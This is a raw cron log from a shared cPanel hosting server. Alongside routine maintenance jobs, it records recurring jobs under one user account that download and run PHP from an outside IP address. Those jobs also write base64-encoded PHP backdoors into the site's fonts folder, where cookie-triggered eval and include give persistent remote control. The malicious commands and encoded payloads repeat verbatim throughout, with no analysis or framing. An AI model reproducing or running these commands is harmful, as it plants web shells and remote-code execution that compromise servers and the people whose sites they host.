Aug 30 08:16:01 ip-184-168-122-23 CROND[9642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:16:01 ip-184-168-122-23 CROND[9646]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:16:01 ip-184-168-122-23 CROND[9647]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 08:16:01 ip-184-168-122-23 CROND[9641]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:17:01 ip-184-168-122-23 CROND[9726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:17:01 ip-184-168-122-23 CROND[9727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:17:01 ip-184-168-122-23 CROND[9731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:17:01 ip-184-168-122-23 CROND[9730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:18:01 ip-184-168-122-23 CROND[9802]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:18:01 ip-184-168-122-23 CROND[9804]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:18:01 ip-184-168-122-23 CROND[9807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:18:01 ip-184-168-122-23 CROND[9806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:18:01 ip-184-168-122-23 CROND[9808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:19:01 ip-184-168-122-23 CROND[9970]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:19:01 ip-184-168-122-23 CROND[9973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:19:01 ip-184-168-122-23 CROND[9974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:19:01 ip-184-168-122-23 CROND[9972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:20:01 ip-184-168-122-23 CROND[10083]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 08:20:01 ip-184-168-122-23 CROND[10084]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:20:01 ip-184-168-122-23 CROND[10087]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:20:01 ip-184-168-122-23 CROND[10092]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 08:20:01 ip-184-168-122-23 CROND[10090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:20:01 ip-184-168-122-23 CROND[10091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:20:01 ip-184-168-122-23 CROND[10093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:20:01 ip-184-168-122-23 CROND[10089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:20:01 ip-184-168-122-23 CROND[10095]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:21:01 ip-184-168-122-23 CROND[10195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:21:01 ip-184-168-122-23 CROND[10196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:21:01 ip-184-168-122-23 CROND[10197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:21:01 ip-184-168-122-23 CROND[10199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:22:01 ip-184-168-122-23 CROND[10292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:22:01 ip-184-168-122-23 CROND[10293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:22:01 ip-184-168-122-23 CROND[10294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:22:01 ip-184-168-122-23 CROND[10296]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:22:01 ip-184-168-122-23 CROND[10297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:23:01 ip-184-168-122-23 CROND[10374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:23:01 ip-184-168-122-23 CROND[10378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:23:01 ip-184-168-122-23 CROND[10376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:23:01 ip-184-168-122-23 CROND[10377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:24:01 ip-184-168-122-23 CROND[10455]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:24:01 ip-184-168-122-23 CROND[10457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:24:01 ip-184-168-122-23 CROND[10458]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:24:01 ip-184-168-122-23 CROND[10460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:24:01 ip-184-168-122-23 CROND[10459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:25:01 ip-184-168-122-23 CROND[10633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:25:01 ip-184-168-122-23 CROND[10638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:25:01 ip-184-168-122-23 CROND[10636]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:25:01 ip-184-168-122-23 CROND[10635]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:25:01 ip-184-168-122-23 CROND[10639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:25:01 ip-184-168-122-23 CROND[10640]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 30 08:25:01 ip-184-168-122-23 CROND[10642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:26:01 ip-184-168-122-23 CROND[10752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:26:01 ip-184-168-122-23 CROND[10753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:26:01 ip-184-168-122-23 CROND[10757]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Aug 30 08:26:01 ip-184-168-122-23 CROND[10754]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:26:01 ip-184-168-122-23 CROND[10756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:26:01 ip-184-168-122-23 CROND[10758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Aug 30 08:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Aug 30 08:27:01 ip-184-168-122-23 CROND[10945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:27:01 ip-184-168-122-23 CROND[10947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:27:01 ip-184-168-122-23 CROND[10948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:27:01 ip-184-168-122-23 CROND[10949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:28:01 ip-184-168-122-23 CROND[11034]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:28:01 ip-184-168-122-23 CROND[11033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:28:01 ip-184-168-122-23 CROND[11036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:28:01 ip-184-168-122-23 CROND[11032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
